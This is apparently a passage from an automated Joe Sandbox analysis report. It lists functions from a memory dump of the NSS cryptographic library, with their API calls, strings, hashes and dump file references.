API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction ID: 37cfb642b69568eae9b8e5965bd0d4adf6676b72f2342cbdb77d4954e624fd54
Opcode Fuzzy Hash: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction Fuzzy Hash: 516105B5A00210ABEB105F65DC41FAB76B9EF05748F085039FE09DAA92F721D816C7BD

Function 6C673D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32 ref: 6C673D8B
EnterCriticalSection.KERNEL32(?), ref: 6C673D9F
PR_Unlock.NSS3(?), ref: 6C673DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C673DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C673E4F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32 ref: 6C673E97
EnterCriticalSection.KERNEL32(?), ref: 6C673EAB
PR_Unlock.NSS3(?), ref: 6C673ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C673EEE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction ID: 674fc03b7504f1edddecd71f925a61b70600c335cd754781eed5eca0dc16a24a
Opcode Fuzzy Hash: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction Fuzzy Hash: 32516A72A002009FDB219F29DC447AB73B4EF46319F140979DE0947B22EB31E955CBEA

Function 6C622C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(2E21D3EF), ref: 6C622C5D

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C622C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C622CE0

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C622D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C622D3F
free.MOZGLUE(00000000), ref: 6C622D73
CERT_DestroyCertificate.NSS3(?), ref: 6C622DB8
free.MOZGLUE ref: 6C622DC8

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction ID: 2b2b877ca09bab0f56da44ce9739dea23727c9d735f4eff3ade9027ea71e4bc6
Opcode Fuzzy Hash: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction Fuzzy Hash: C1510071A143159BEB11DE28CC88B5B77E5EF88368F14083CEC4983650E735E815CF9A

Function 6C627CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PR_GetCurrentThread.NSS3 ref: 6C627CFD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749030), ref: 6C627D1B

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749048), ref: 6C627D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C627D50
PR_GetCurrentThread.NSS3 ref: 6C627D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C627D7D
free.MOZGLUE(?), ref: 6C627D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C627DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C627E19

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction ID: 5327fe725c6253b714910b112ea965cee3210738ce9c74c3d26e8a687a7c52eb
Opcode Fuzzy Hash: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction Fuzzy Hash: 9A410372A0011A9BDB008E69DC41FAF33E8AF4535CF150824EC09AB650E734E9198BAA

Function 6C637EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F36
free.MOZGLUE(?,?,?,6C6380DD), ref: 6C637F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6380DD), ref: 6C637F5D
DeleteCriticalSection.KERNEL32(?,6C6380DD), ref: 6C637F94
free.MOZGLUE(?), ref: 6C637F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6380DD), ref: 6C637FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6380DD), ref: 6C637FE6
free.MOZGLUE(?,6C6380DD), ref: 6C63802D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction ID: 4caa92221012d3876c815b8d460c423e565382c126497f292b1bb82173f0e4e9
Opcode Fuzzy Hash: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction Fuzzy Hash: 8741E871F061208BDF109FB98D8CA4737B5BB4739AF352139EA1997B40D7349405CBA9

Function 6C67FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FF00

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C67FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C67FF8C

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction ID: d371213dc95f7f42886d4f6c5308cf116e3d339993415e1f0dcc1ed9ad6fb3e2
Opcode Fuzzy Hash: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction Fuzzy Hash: AB3125B29023129BE7208E588C40F9A76A8AF4634CF240939ED1897B41FB74D904C7FA

Function 6C5C7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5C7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C5C7EE7, 6C5C7F28
database corruption, xrefs: 6C5C7EE2, 6C5C7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7ED8, 6C5C7F08, 6C5C7F19

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction ID: 2873a22275949928097347139fc45ecba1629b0d7bf5ed6688138c42a4a7137d
Opcode Fuzzy Hash: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction Fuzzy Hash: 9861BD71B042059FDB05CFA9CC90BAA37B2BF85348F1448A8EC195BB52D770EC55CBA2

Function 6C5AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFE83

Part of subcall function 6C5AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5AFEFA
Part of subcall function 6C5AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5AFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C5AFD73, 6C5AFE35
database corruption, xrefs: 6C5AFD6E, 6C5AFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AFD64, 6C5AFE26

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction ID: f51dd1af0e57864da03c808aa1962f136c4f45764924459c4cb7010102f4f590
Opcode Fuzzy Hash: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction Fuzzy Hash: AB51AF71A00205CFDB04CFAACD90AAEB7B1EF48308F144169EA05AB752E731ED55CBA4

Function 6C6F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F2FFD
sqlite3_initialize.NSS3 ref: 6C6F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6F3032
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F3073
sqlite3_free.NSS3(?), ref: 6C6F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6F30BB

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction ID: ee17ea112882bd4e3fd9582e277fa73bbb4410b6b61480bac78dda58f21c5e30
Opcode Fuzzy Hash: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction Fuzzy Hash: 5E41C171600606ABDB00CF25D884A8AB7A6FF44368F148639EC2987B40E731F956CBD6

Function 6C675ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]gl), ref: 6C675F0A
TlsGetValue.KERNEL32 ref: 6C675F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C675F2F
PR_Unlock.NSS3(890008E8), ref: 6C675F55
PR_SetError.NSS3(00000000,00000000), ref: 6C675F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C675F7D

Part of subcall function 6C675220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C675F82,8B4274C0), ref: 6C675248
Part of subcall function 6C675220: EnterCriticalSection.KERNEL32(0F6C740D,?,6C675F82,8B4274C0), ref: 6C67525C
Part of subcall function 6C675220: PR_SetError.NSS3(00000000,00000000), ref: 6C67528E
Part of subcall function 6C675220: PR_Unlock.NSS3(0F6C73F1), ref: 6C675299
Part of subcall function 6C675220: free.MOZGLUE(00000000), ref: 6C6752A9

Strings

q]gl, xrefs: 6C675EDB, 6C675F09

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]gl
API String ID: 3150690610-4162549013
Opcode ID: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction ID: f120cb971f1169d6833ee650d9bd429de752dd0910b4e831741bf3081325ec92
Opcode Fuzzy Hash: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction Fuzzy Hash: B921D6B1D042089FDB109F68DC45AEEB7B4EF49308F544479E90AA7701EB31A954CBE9

Function 6C638CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C64124D,00000001), ref: 6C638D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C64124D,00000001), ref: 6C638D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D73
PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D8C

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638DBA

Strings

KRAM, xrefs: 6C638D3E
KRAM, xrefs: 6C638CF9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction ID: 410fec276d5cb835b1213d6794bf474c30f0ad7bd641f4142e78fd2470936bee
Opcode Fuzzy Hash: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction Fuzzy Hash: F9218DB1A046218FCB01EF38C48469AB7F0FF49308F15A96AD89CC7715DB34E841CB95

Function 6C730ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction ID: 11d3db6a1e998f167e5b61300dcbbd3d6a1100792fbdc1f13f436da6eb0fa936
Opcode Fuzzy Hash: a83c0a44072867e21ffa50be8123f45fc6335d5b024527ed666fa8fd870baa95
Instruction Fuzzy Hash: BE01C0B6900128ABDF01AF64DE4989B3F3DEF46368B004075FD0987B12D631E91087E2

